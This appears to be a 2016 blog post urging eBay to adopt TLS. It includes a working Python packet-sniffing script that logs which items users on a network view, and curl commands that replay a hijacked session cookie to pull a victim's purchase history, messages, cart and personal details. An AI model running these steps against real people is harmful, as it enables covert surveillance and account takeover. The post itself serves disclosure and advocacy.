Ok, I know this is kind of old news now, but Bruce Schneier gave testimony to the House of Representatives Energy & Commerce Committee about computer security after the Dyn attack. I m including this quote because I feel it sets the scene nicely for what follows here. Last week, I was browsing the popular online auction site eBay and I noticed that there was no TLS. For a moment, I considered that maybe my traffic was being intercepted deliberately, there s no way that eBay as a global company would be deliberately risking users in this way. I was wrong. There is not and has never been TLS for large swathes of the eBay site. In fact, the only point at which I ve found TLS is in their help pages and when it comes to entering card details (although it ll give you back the last 4 digits of your card over a plaintext channel).
sudo apt install wireshark
# You'll want to allow non-root users to perform capture
sudo adduser  whoami  wireshark
# Log out and in again to assume the privileges you've granted yourself
What can you see? They first thing I d like to call eBay on is a statement in their webpage about Cookies, Web Beacons, and Similar Technologies:
We don t store any of your personal information on any of our cookies or other similar technologies.
Well eBay, I don t know about you, but for me my name is personal information. Ana, who investigated this with me, also confirmed that her name was present on her cookie when using her account. But to answer the question, you can see pretty much everything. Using the Observer module of PATHspider, which is essentially a programmable flow meter, let s take a look at what items users of the network are browsing:
sudo apt install pathspider
The following is a Python 3 script that you ll need to run as root (for packet capturing) and will need to kill with ^C when you re done because I didn t give it an exit condition:
import logging
import queue
import threading
import email
import re
from io import StringIO
import plt
from pathspider.observer import Observer
from pathspider.observer import basic_flow
from pathspider.observer.tcp import tcp_setup
from pathspider.observer.tcp import tcp_handshake
from pathspider.observer.tcp import tcp_complete
def tcp_reasm_setup(rec, ip):
        rec['payload'] = b''
        return True
def tcp_reasm(rec, tcp, rev):
        if not rev and tcp.payload is not None:
                rec['payload'] += tcp.payload.data
        return True
lturi = "int:wlp3s0" # CHANGE THIS TO YOUR NETWORK INTERFACE
logging.getLogger().setLevel(logging.INFO)
logger = logging.getLogger(__name__)
ebay_itm = re.compile("(?:item= itm(?:\/[^0-9][^\/]+)?\/)([0-9]+)")
o = Observer(lturi,
             new_flow_chain=[basic_flow, tcp_setup, tcp_reasm_setup],
             tcp_chain=[tcp_handshake, tcp_complete, tcp_reasm])
q = queue.Queue()
t = threading.Thread(target=o.run_flow_enqueuer,
                     args=(q,),
                     daemon=True)
t.start()
while True:
    f = q.get()
    # www.ebay.co.uk uses keep alive for connections, multiple requests
    # may be in a single flow
    requests = [x + b'\r\n' for x in f['payload'].split(b'\r\n\r\n')]
    for request in requests:
        if request.startswith(b'GET '):
            request_text = request.decode('ascii')
            request_line, headers_alone = request_text.split('\r\n', 1)
            headers = email.message_from_file(StringIO(headers_alone))
            if headers['Host'] != "www.ebay.co.uk":
                break
            itm = ebay_itm.search(request_line)
            if itm is not None and len(itm.groups()) > 0 and itm.group(1) is not None:
                logging.info("%s viewed item %s", f['sip'],
                             "http://www.ebay.co.uk/itm/" + itm.group(1))
Note: PATHspider s Observer won t emit a flow until it is completed, so you may have to close your browser in order for the TCP connection to be closed as eBay does use Connection: keep-alive. If all is working correctly (if it was really working correctly, it wouldn t be working because the connections would be encrypted, but you get what I mean ), you ll see something like:
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/161990905666
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/311756208540
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/131911806454
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
It is left as an exercise to the reader to map the IP addresses to users. You do however have the hint that the first name of the user is in the cookie. This was a very simple example, you can also passively sniff the content of messages sent and recieved on eBay (though I ll admit email has the same flaw in a large number of cases) and you can also see the purchase history and cart contents when those screens are viewed. Ana also pointed out that when you browse for items at home, eBay may recommend you similar items and then those recommendations would also be available to anyone viewing the traffic at your workplace. Perhaps you want to see the purchase history but you re too impatient to wait for the user to view the purchase history screen. Don t worry, this is also possible. Three researchers from the Department of Computer Science at Columbia University, New York published a paper earlier this year titled The Cracked Cookie Jar: HTTP Cookie Hijacking and the Exposure of Private Information. In this paper, they talk about hijacking cookies using packet capture tools and then using the cookies to impersonate users when making requests to websites. They also detail in this paper a number of concerning websites that are vulnerable, including eBay. Yes, it s 2016, nearly 2017, and cookie hijacking is still a thing. You may remember Firesheep, a Firefox plugin, that could be used to hijack Facebook, Twitter, Flickr and other websites. It was released in October 2010 as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process. Six years later and eBay has not yet listened. So what is cookie hijacking all about? Let s get hands on. This time, instead of looking at the request line, look at the Cookie header. Just dump that out. Something like:
print(headers['Cookie'])
Now you have the user s cookie and you can impersonate that user. Store the cookie in an environment variable named COOKIE and
sudo apt install curl
# Get the purchase history
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/PurchaseHistory > history.html
# Get the current cart contents
curl --cookie "$COOKIE" http://cart.payments.ebay.co.uk/sc/view > cart.html
# Get the current bids/offers
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/BidsOffers > bids.html
# Get the messages list
curl --cookie "$COOKIE" http://mesg.ebay.co.uk/mesgweb/ViewMessages/0 > messages.html
# Get the watch list
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/WatchList > watch.html
I m sure you can use your imagination for more. One of my favourites is
# Get the personal information
curl --cookie "$COOKIE" http://my.ebay.co.uk/ws/eBayISAPI.dll?MyeBay&CurrentPage=MyeBayPersonalInfo&gbh=1&ssPageName=STRK:ME:LNLK > personal.html
This one will give you the secret questions (but not the answers) and the last 4 digits of the registered card for a seller account. In the case of Mat Honan in 2012, the last 4 digits of his card number led to the loss of his Twitter account. The techniques I ve shown here do not seem to care where the request comes from. We tested using my cookie from Ana s laptop and also tried from a server hosted in the US (our routing origin is in Germany so this should have perhaps been a red flag). I could not find any interface through which I could query my login history, I m not sure what it would have shown. I m not a security researcher, though I do work as an Internet Engineering researcher. I m publishing this as these vulnerabilities have already been disclosed in the paper I linked above and I believe this is something that needs attention. Every time I pointed out to someone that eBay does not use TLS over the last week they were suprised, and often horrified. You might think that better validation of the source of the cookie might help, for instance, rejecting requests that suddenly come from other countries. As long as the attacker is on the path they have the ability to create flows that impersonate the host at the network layer. The only option here is to encrypt the flow and to ensure a means of authenticating the server, which is exactly what TLS provides. You might think that such attacks may never occur, but active probes in response to passive measurements have been observed. I would think that having all these cookies floating around the Internet is really just an invitation for those cookies to be abused by some intelligence service (or criminal organisation). I would be very surprised if such ideas had not already been explored, if not implemented, on a large scale. Please Internet, TLS already.

Next.

Previous.